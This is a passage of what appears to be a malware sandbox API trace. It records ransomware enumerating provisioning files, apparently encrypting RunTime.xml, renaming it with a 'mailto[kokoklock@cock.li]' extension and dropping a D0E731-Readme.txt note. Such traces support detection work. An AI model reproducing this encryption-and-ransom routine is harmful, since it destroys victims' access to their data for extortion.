returned 1 [0084.750] wcscmp (_String1="2__Power_Policy.provxml", _String2="..") returned 1 [0084.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482ed8 [0084.750] wcscpy (in: _Dest=0x3482ed8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.750] wcscat (in: _Dest=0x3482ed8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.751] wcscat (in: _Dest=0x3482ed8, _Source="2__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" [0084.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0084.751] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="3__Power_Policy.provxml", cAlternateFileName="3__POW~1.PRO")) returned 1 [0084.751] wcscmp (_String1="3__Power_Policy.provxml", _String2=".") returned 1 [0084.751] wcscmp (_String1="3__Power_Policy.provxml", _String2="..") returned 1 [0084.751] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x34833b0 [0084.751] wcscpy (in: _Dest=0x34833b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.751] wcscat (in: _Dest=0x34833b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.751] wcscat (in: _Dest=0x34833b0, _Source="3__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" [0084.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34833b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0084.752] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="4__Power_Policy.provxml", cAlternateFileName="4__POW~1.PRO")) returned 1 [0084.752] wcscmp (_String1="4__Power_Policy.provxml", _String2=".") returned 1 [0084.752] wcscmp (_String1="4__Power_Policy.provxml", _String2="..") returned 1 [0084.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3483c68 [0084.752] wcscpy (in: _Dest=0x3483c68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.752] wcscat (in: _Dest=0x3483c68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.752] wcscat (in: _Dest=0x3483c68, _Source="4__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" [0084.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3483c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0084.753] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="5__Power_Policy.provxml", cAlternateFileName="5__POW~1.PRO")) returned 1 [0084.753] wcscmp (_String1="5__Power_Policy.provxml", _String2=".") returned 1 [0084.753] wcscmp (_String1="5__Power_Policy.provxml", _String2="..") returned 1 [0084.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482ce8 [0084.753] wcscpy (in: _Dest=0x3482ce8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.753] wcscat (in: _Dest=0x3482ce8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.753] wcscat (in: _Dest=0x3482ce8, _Source="5__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" [0084.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0084.754] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6__Power_Policy.provxml", cAlternateFileName="6__POW~1.PRO")) returned 1 [0084.754] wcscmp (_String1="6__Power_Policy.provxml", _String2=".") returned 1 [0084.754] wcscmp (_String1="6__Power_Policy.provxml", _String2="..") returned 1 [0084.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3484048 [0084.754] wcscpy (in: _Dest=0x3484048, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.754] wcscat (in: _Dest=0x3484048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.754] wcscat (in: _Dest=0x3484048, _Source="6__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" [0084.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3484048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0084.757] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6__Power_Policy.provxml", cAlternateFileName="6__POW~1.PRO")) returned 0 [0084.757] FindClose (in: hFindFile=0x33e0498 | out: hFindFile=0x33e0498) returned 1 [0084.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ab210) returned 1 [0084.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486c48) returned 1 [0084.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431b28) returned 1 [0084.758] RtlExitUserThread (Status=0x0) Thread: id = 1230 os_tid = 0x1080 [0084.339] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml")) returned 0x20 [0084.339] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.339] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8d0 [0084.339] GetFileSizeEx (in: hFile=0x8d0, lpFileSize=0x2b3bf780 | out: lpFileSize=0x2b3bf780*=2376) returned 1 [0084.339] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.339] ReadFile (in: hFile=0x8d0, lpBuffer=0x2b3bf754, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b3bf750, lpOverlapped=0x0 | out: lpBuffer=0x2b3bf754*, lpNumberOfBytesRead=0x2b3bf750*=0x4, lpOverlapped=0x0) returned 1 [0084.341] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342daa0 [0084.341] NtQuerySystemTime (in: CurrentTime=0x2b3bf72c | out: CurrentTime=0x2b3bf72c*=132121176422266290) returned 0x0 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xad5c474a [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xdabff6f7 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x9b96a4ff [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xbb410e8f [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x3c3dece9 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xc2e2dd51 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x976ba51a [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x42609de6 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x61765990 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x55e5b9c1 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xb81ff182 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xf1b401fc [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x267fd4c2 [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x7ef2f51b [0084.341] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xbc36a19e [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xb9607c27 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x5d30a4e6 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xd4028136 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x7070c7cc [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xc28c5189 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x9fb212ba [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xeaadf0bc [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x22851d60 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xba429369 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x404aca46 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x2d9fdba0 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x203773d6 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xe1846b25 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x60663e55 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x29430dbf [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0x30edbd40 [0084.342] RtlRandom (in: Seed=0x2b3bf738 | out: Seed=0x2b3bf738) returned 0xafd83491 [0084.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db68 [0084.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db68) returned 1 [0084.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.353] ReadFile (in: hFile=0x8d0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x2b3bf72c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b3bf72c*=0x948, lpOverlapped=0x0) returned 1 [0084.353] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3bf6f4 | out: lpNewFilePointer=0x0) returned 1 [0084.353] WriteFile (in: hFile=0x8d0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x948, lpNumberOfBytesWritten=0x2b3bf728, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b3bf728*=0x948, lpOverlapped=0x0) returned 1 [0084.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.353] WriteFile (in: hFile=0x8d0, lpBuffer=0x342dbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b3bf724, lpOverlapped=0x0 | out: lpBuffer=0x342dbe0*, lpNumberOfBytesWritten=0x2b3bf724*=0x20, lpOverlapped=0x0) returned 1 [0084.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.353] WriteFile (in: hFile=0x8d0, lpBuffer=0x342daf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2b3bf750, lpOverlapped=0x0 | out: lpBuffer=0x342daf0*, lpNumberOfBytesWritten=0x2b3bf750*=0x8, lpOverlapped=0x0) returned 1 [0084.353] WriteFile (in: hFile=0x8d0, lpBuffer=0x2b3bf768*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b3bf750, lpOverlapped=0x0 | out: lpBuffer=0x2b3bf768*, lpNumberOfBytesWritten=0x2b3bf750*=0x4, lpOverlapped=0x0) returned 1 [0084.353] WriteFile (in: hFile=0x8d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b3bf750, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2b3bf750*=0x4, lpOverlapped=0x0) returned 1 [0084.354] WriteFile (in: hFile=0x8d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2b3bf750, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2b3bf750*=0x6c, lpOverlapped=0x0) returned 1 [0084.354] WriteFile (in: hFile=0x8d0, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b3bf750, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2b3bf750*=0x20, lpOverlapped=0x0) returned 1 [0084.354] WriteFile (in: hFile=0x8d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b3bf750, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2b3bf750*=0x4, lpOverlapped=0x0) returned 1 [0084.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342daf0) returned 1 [0084.354] CloseHandle (hObject=0x8d0) returned 1 [0084.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479cc0 [0084.354] wcscpy (in: _Dest=0x3479cc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" [0084.354] wcscat (in: _Dest=0x3479cc0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.354] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.355] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.355] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cc0) returned 1 [0084.355] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.355] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" [0084.355] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\D0E731-Readme.txt" [0084.355] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.355] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8d0 [0084.356] WriteFile (in: hFile=0x8d0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2b3bf74c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2b3bf74c*=0x481, lpOverlapped=0x0) returned 1 [0084.357] CloseHandle (hObject=0x8d0) returned 1 [0084.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0084.357] RtlExitUserThread (Status=0x1) Thread: id = 1231 os_tid = 0xd14 [0084.358] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486d10 [0084.358] wcscpy (in: _Dest=0x3486d10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" [0084.358] wcscat (in: _Dest=0x3486d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\" [0084.358] wcscat (in: _Dest=0x3486d10, _Source="*" | out: _Dest="C:\\Users\\All 